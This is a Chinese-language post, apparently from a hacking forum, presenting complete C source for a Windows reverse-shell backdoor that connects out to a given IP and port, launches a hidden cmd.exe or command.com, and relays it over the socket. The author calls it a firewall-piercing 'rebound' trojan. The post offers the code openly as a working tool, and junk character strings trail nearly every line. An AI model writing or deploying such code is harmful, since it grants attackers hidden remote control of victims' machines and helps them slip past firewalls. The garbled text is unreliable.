这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 'TN)Lb*
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/* ============================== \Z)1 ?fq
Rebound port in Windows NT
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By wind,2006/7 !MZw#=D`
===============================*/ <MD;@_Nz\
#include mAqDjRV1
#include wN]J8Ir
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#pragma comment(lib,"wsock32.lib") kv|,b
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void OutputShell(); Wz=OSH7"f
SOCKET sClient; |:iEfi]j
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ~bU7QLr
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void main(int argc,char **argv) 9$WJ"]
{ a4GWuozl
WSADATA stWsaData; mPt)pn!rA
int nRet; =TcOn Qj
SOCKADDR_IN stSaiClient,stSaiServer; \d68-JS@~
tbj=~xYf
if(argc != 3) NXoK@Y
{ >Gd.&flSj
printf("Useage:\n\rRebound DestIP DestPort\n"); _,;%mK
return; Y^lQX~I2{
} 4\Di,PPu
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WSAStartup(MAKEWORD(2,2),&stWsaData); ]S/G\z
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?iSGH'[u
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stSaiClient.sin_family = AF_INET; XI}I.M
stSaiClient.sin_port = htons(0); mY2:m(9"5
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Du_$C[
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Zw=G@4xoU
{ jn=ug42d
printf("Bind Socket Failed!\n"); Lt<oi8'N
return; -{x(`9H;
} |'w^ n
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stSaiServer.sin_family = AF_INET; G.jQX'%4QG
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); t[O+B6
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); {g=b]yg\o
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) E`E'<"{Yd
{ (&Q)EBdm
printf("Connect Error!"); H1UL.g%d=
return; Z`xyb>$
} !LSs9_w
OutputShell(); Q_lu`F|
} EVz9WY
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void OutputShell() 9eSRCLhgD
{ wixD\t59X
char szBuff[1024]; rgR?wXW]jE
SECURITY_ATTRIBUTES stSecurityAttributes; elKx]%k*)
OSVERSIONINFO stOsversionInfo; g~R/3cm4
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; D0M!"c>\
STARTUPINFO stStartupInfo; GVp
char *szShell; hmzair3X
PROCESS_INFORMATION stProcessInformation; -Op@y2+c
unsigned long lBytesRead; '5WN,Vy8.
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); !$E~\uT
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 7 6*hc
stSecurityAttributes.lpSecurityDescriptor = 0; m+$/DD^-zl
stSecurityAttributes.bInheritHandle = TRUE; "'aqb~j^
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Gc}0]!nrW9
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 1Zq
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); $~hdm$
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); '}zT1F*
p=
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *^6k[3VY
stStartupInfo.wShowWindow = SW_HIDE; J[+Tj@n'
stStartupInfo.hStdInput = hReadPipe; t'Htx1#Zc[
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; cUM_ncYOP
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GetVersionEx(&stOsversionInfo); yy))Z0E5
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switch(stOsversionInfo.dwPlatformId) 3GINv3_
{ x 8M#t(hw
case 1: y[p6y[r*
szShell = "command.com"; Bfn]-]>sD
break; CRd_}
default: Fj3^
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szShell = "cmd.exe"; hs,5LV)|y
break; +DxifXtB
} r'PE5xqF
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); T:'+6
* S{\#s
send(sClient,szMsg,77,0); {Ot[WF
while(1) KMe.i'
{ q4zSS #]A
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); nYgx9Q"<om
if(lBytesRead) HMQ'b(a'
{ ~Cu lFxu
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); (A|B@a!Y>
send(sClient,szBuff,lBytesRead,0); o:f|zf>
i<
} jiOf')d5
else u4C1W|x
{ <JJkki
lBytesRead=recv(sClient,szBuff,1024,0); h
bdEw=r?
if(lBytesRead<=0) break; &LwJ'h+nd
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); iPNd!_
} @u<0_r
t
} l#|J
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return; (T4k~T`3
}